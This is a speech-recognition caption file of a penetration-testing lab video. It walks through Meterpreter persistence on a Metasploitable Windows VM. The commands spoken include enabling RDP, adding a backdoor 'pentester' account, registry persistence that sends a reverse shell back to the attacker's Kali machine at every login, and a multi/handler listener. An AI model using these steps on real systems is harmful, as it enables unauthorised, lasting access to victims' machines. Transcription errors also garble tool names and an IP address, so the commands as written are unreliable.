WEBVTT - This file was automatically generated by VIMEO

0
00:00:07.160 --> 00:00:11.900
In this video you'll learn how to use interpreter to implement persistence on a

1
00:00:11.900 --> 00:00:15.220
compromised system. I hope you're excited.

2
00:00:15.560 --> 00:00:20.300
So let's dive on in Implementing persistence is a common

3
00:00:20.620 --> 00:00:25.060
technique as used by ethical hackers and penetration testers after they have

4
00:00:25.160 --> 00:00:28.740
gained remote access onto a vulnerable system.

5
00:00:29.290 --> 00:00:30.180
With persistence,

6
00:00:30.320 --> 00:00:35.060
it simply allows the ethical hacker to always be able to access

7
00:00:35.160 --> 00:00:38.900
the remote system whenever the system is online or logged in.

8
00:00:40.110 --> 00:00:43.730
In this video we'll take a look at setting up two methods of persistence,

9
00:00:44.070 --> 00:00:48.930
one of which is we can tune on the remote desktop protocol on a Windows

10
00:00:49.100 --> 00:00:53.630
compromise system. For instance, if I type sis in info,

11
00:00:54.090 --> 00:00:59.070
we can see it is a Windows based system that is compromised specifically this

12
00:00:59.070 --> 00:01:00.510
Windows V system.

13
00:01:00.730 --> 00:01:04.510
It is the meta exploitable tree windows virtual machine.

14
00:01:05.200 --> 00:01:10.030
Let's imagine that R DP remote desktop protocol is not enable well,

15
00:01:10.090 --> 00:01:13.830
we can simply enable it using interpreter. To do this,

16
00:01:14.010 --> 00:01:17.070
you definitely need a ER shell as you can see.

17
00:01:17.570 --> 00:01:20.390
And now we'll type run post

18
00:01:22.830 --> 00:01:27.230
slash windows slash manage slash enable

19
00:01:28.040 --> 00:01:33.030
underscore rdp and interpreter will check to see if

20
00:01:33.030 --> 00:01:36.790
the remote desktop call is enable or not and simply turn it on.

21
00:01:37.540 --> 00:01:42.390
Next we can create our very own local user account on

22
00:01:42.390 --> 00:01:44.430
the target system. To do this,

23
00:01:44.640 --> 00:01:49.110
let's type shell so we can get a Windows command prompt.

24
00:01:50.110 --> 00:01:50.680
Let's type,

25
00:01:50.680 --> 00:01:55.660
who am I to verify the user account that we are currently logged in with?

26
00:01:56.480 --> 00:01:59.300
So right now we are using the system account,

27
00:01:59.850 --> 00:02:04.220
therefore we can type net user and let's call this user

28
00:02:04.960 --> 00:02:06.860
pen tester as a username.

29
00:02:07.160 --> 00:02:11.340
And let's set a password as password 1 23 slash add.

30
00:02:11.890 --> 00:02:16.540
This will simply allow us to create a user account on the target system.

31
00:02:17.200 --> 00:02:21.900
The purpose of this account is to simply allow us to log in using a

32
00:02:21.910 --> 00:02:26.340
valid user credential greet. Let's type exit.

33
00:02:28.460 --> 00:02:33.030
Another technique to set up a systems is to simply use one of the persistence

34
00:02:33.140 --> 00:02:35.870
exploit module within Metasploit.

35
00:02:36.290 --> 00:02:40.910
The purpose system module will simply automatically configure the

36
00:02:41.150 --> 00:02:43.710
registry within the victim system. Therefore,

37
00:02:44.110 --> 00:02:48.630
whenever the victim system reboots it automatically establish a reverse shell

38
00:02:48.700 --> 00:02:52.280
back to our Carli Lennox Switch machine. To do this,

39
00:02:52.450 --> 00:02:55.320
let's verify that we are connected to a window system.

40
00:02:55.980 --> 00:03:00.960
We can simply type for like so and we can see that we are connected to

41
00:03:01.020 --> 00:03:03.960
our meta exploitable tree windows virtual machine.

42
00:03:05.010 --> 00:03:08.520
Let's type background to send this session to the background.

43
00:03:09.540 --> 00:03:13.280
As you can see, it is given session ID one. Great,

44
00:03:14.050 --> 00:03:17.880
let's type back and now let's type use

45
00:03:18.670 --> 00:03:23.580
exploit windows local persistence like

46
00:03:23.640 --> 00:03:25.340
so and hit enter.

47
00:03:26.450 --> 00:03:31.150
We'll configure session ID one for this module

48
00:03:32.050 --> 00:03:36.110
and we'll set the startup type to use the system account

49
00:03:37.110 --> 00:03:41.110
like so. Great. Next,

50
00:03:41.400 --> 00:03:46.110
let's set the local i p address of our Carly Lenox switch machine

51
00:03:46.370 --> 00:03:51.070
as a callback machine. So our Carly Lux switch machine,

52
00:03:51.210 --> 00:03:55.510
it is using 1 7 2 3 1 41

53
00:03:56.560 --> 00:03:59.340
and we'll use a different local port.

54
00:03:59.640 --> 00:04:02.380
So we'll say set port like so,

55
00:04:02.920 --> 00:04:05.780
and we'll use ports 1, 2, 3, 4,

56
00:04:06.540 --> 00:04:09.160
simply type exploit and hit enter.

57
00:04:09.590 --> 00:04:13.720
This will send across this new payload and automatically make the modifications

58
00:04:13.900 --> 00:04:17.640
on the victim systems registry. Great.

59
00:04:18.410 --> 00:04:23.110
Let's type back and the last thing we need to do is set up our

60
00:04:23.110 --> 00:04:25.770
listener to create our listener.

61
00:04:26.140 --> 00:04:30.520
We'll type use exploit multi handler

62
00:04:31.860 --> 00:04:36.760
like so we'll set our payload to be set payload win

63
00:04:37.570 --> 00:04:41.840
windows interpreter slash reverse

64
00:04:42.250 --> 00:04:46.950
underscore tcp. Then we'll set our auto on script.

65
00:04:47.200 --> 00:04:51.690
We'll see set auto on script like so.

66
00:04:52.450 --> 00:04:56.460
We'll type post slash windows slash

67
00:04:57.360 --> 00:05:00.810
manage slash migrate.

68
00:05:01.750 --> 00:05:02.583
Hit enter.

69
00:05:03.610 --> 00:05:07.700
Then we'll set our Carly Lennox IP address. Once more,

70
00:05:08.270 --> 00:05:10.340
we'll see set L Host.

71
00:05:11.160 --> 00:05:14.820
And my Carly Lennox virtual machine has an IP address of

72
00:05:14.920 --> 00:05:19.060
1 72, 31 41.

73
00:05:20.010 --> 00:05:22.190
And we also need to set the listening port.

74
00:05:23.570 --> 00:05:26.990
As you recall the listening port, we are using 1, 2, 3, 4.

75
00:05:28.050 --> 00:05:31.590
Simply hit exploit. To start a listener create,

76
00:05:34.540 --> 00:05:39.040
I'm simply going to reboot this victim machine like so.

77
00:05:41.890 --> 00:05:46.710
I'm going to log in with the administrator account and simply choose to reboot

78
00:05:46.730 --> 00:05:47.563
option.

79
00:05:51.130 --> 00:05:55.190
The system actually executed a malicious script and look,

80
00:05:55.190 --> 00:05:57.560
we actually got another material session.

81
00:05:58.900 --> 00:06:01.840
So this time I am going to

82
00:06:04.090 --> 00:06:05.660
exit the ER session.

83
00:06:06.360 --> 00:06:10.900
So currently session one is closed and I'm going to access

84
00:06:11.050 --> 00:06:14.990
session one and I'm going to exit a session as well.

85
00:06:15.450 --> 00:06:19.990
So I have exited session two and I've also

86
00:06:20.210 --> 00:06:24.270
exited session one. So if I type sessions, there's no sessions.

87
00:06:25.210 --> 00:06:28.070
So let's try this out again. I'm gonna type exploit

88
00:06:29.570 --> 00:06:33.070
to start the listener once more and it is sending it again.

89
00:06:34.130 --> 00:06:38.030
So what I will do is I'll simply type exit

90
00:06:39.610 --> 00:06:42.350
the victim machine. I'm gonna power down this machine.

91
00:06:49.920 --> 00:06:54.900
Great. So now the victim machines power down. Let's try this one more time.

92
00:06:55.400 --> 00:06:59.260
So I'm gonna type exploit to start a listener. The listener is running.

93
00:07:00.050 --> 00:07:05.020
Then on virtual box, I'm going to power on the target system,

94
00:07:05.020 --> 00:07:07.780
which is meta, exploitable tree, windows, vm.

95
00:07:08.240 --> 00:07:10.100
I'm gonna click on start like so.

96
00:07:16.200 --> 00:07:18.980
And as we can see, the target system is booting.

97
00:07:21.740 --> 00:07:26.200
Now let's assume an unsuspecting user simple logs in

98
00:07:26.540 --> 00:07:28.520
to their computer like Sue.

99
00:07:32.590 --> 00:07:37.210
And notice that when the user logs in the script automatically executes

100
00:07:37.870 --> 00:07:40.410
and we have gotten a review

101
00:07:46.980 --> 00:07:49.880
notice, it has sent across the payload.

102
00:07:50.930 --> 00:07:55.330
We have gotten a new session and it has migrated a session

103
00:07:56.230 --> 00:07:59.220
to EV detection.

104
00:08:00.790 --> 00:08:03.050
If I type two,

105
00:08:04.430 --> 00:08:08.890
we have gained access back into our target system.

106
00:08:09.710 --> 00:08:13.370
So therefore, as long as the system is rebooted and someone logs in,

107
00:08:13.780 --> 00:08:18.530
we'll always be able to capture the session as long as our multi handler is

108
00:08:18.530 --> 00:08:22.020
running. During the course of this video,

109
00:08:22.240 --> 00:08:26.540
you have learned how to implement persistence using interpreter on a compromised

110
00:08:26.560 --> 00:08:28.760
system. In the next video,

111
00:08:29.020 --> 00:08:33.600
you'll learn how to use netcat to set up persistence on a victim

112
00:08:33.700 --> 00:08:36.680
system. I hope this video has been informative for you.

113
00:08:37.230 --> 00:08:38.640
I'll see you in the next one.
